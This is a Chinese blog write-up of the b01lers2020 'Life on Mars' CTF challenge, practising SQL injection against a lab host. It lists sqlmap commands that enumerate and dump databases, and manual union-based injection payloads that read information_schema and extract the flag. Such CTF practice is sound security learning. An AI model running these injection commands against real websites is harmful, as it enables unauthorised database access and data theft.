b01lers2020-Life_on_Mars

摘要
sqlmap使用练习


为了快速探测漏洞,自动化扫描很重要,专门来练习sqlmap

sqlmap

image-20210903174505885
1
python2 sqlmap.py -u http://0c19c7b8-e7ab-42d6-8d0a-b7c974af36e7.node4.buuoj.cn:81/query?search=chryse_planitia
image-20210903174656965

联合查询……

获得库名:

1
python2 sqlmap.py -u http://0c19c7b8-e7ab-42d6-8d0a-b7c974af36e7.node4.buuoj.cn:81/query?search=chryse_planitia --dbs
image-20210903174917424

获得表名:

1
python2 sqlmap.py -u http://0c19c7b8-e7ab-42d6-8d0a-b7c974af36e7.node4.buuoj.cn:81/query?search=chryse_planitia --tables -D alien_code

image-20210903175030391.

获得字段名:

1
python2 sqlmap.py -u http://0c19c7b8-e7ab-42d6-8d0a-b7c974af36e7.node4.buuoj.cn:81/query?search=chryse_planitia --columns -D alien_code -T code
image-20210903175142744

获取字段内容:

1
python2 sqlmap.py -u http://0c19c7b8-e7ab-42d6-8d0a-b7c974af36e7.node4.buuoj.cn:81/query?search=chryse_planitia --dump -D alien_code -T code -C code
image-20210903175252109

获得flag!

手工

获取库名:

1
?search=chryse_planitia/**/union(select(1),(group_concat(schema_name))from(information_schema.schemata))--+

image-20210903182412381

获取表名:

1
?search=chryse_planitia/**/union(select(1),(select(group_concat(table_name))from(information_schema.tables)where(table_schema='alien_code'))from(information_schema.schemata))--+

image-20210903182623802

获取字段名:

1
?search=chryse_planitia/**/union(select(1),(select(group_concat(column_name))from(information_schema.columns)where(table_name='code'))from(information_schema.schemata))--+

image-20210903183329390

flag:

1
?search=chryse_planitia/**/union(select(1),(select(code)from(alien_code.code)))--+

image-20210903183648548

wuhu~

参考文章:
sqlmap常用命令及用法

作者

inanb

发布于

2021-09-03

更新于

2021-09-03

许可协议


:D 一言句子获取中...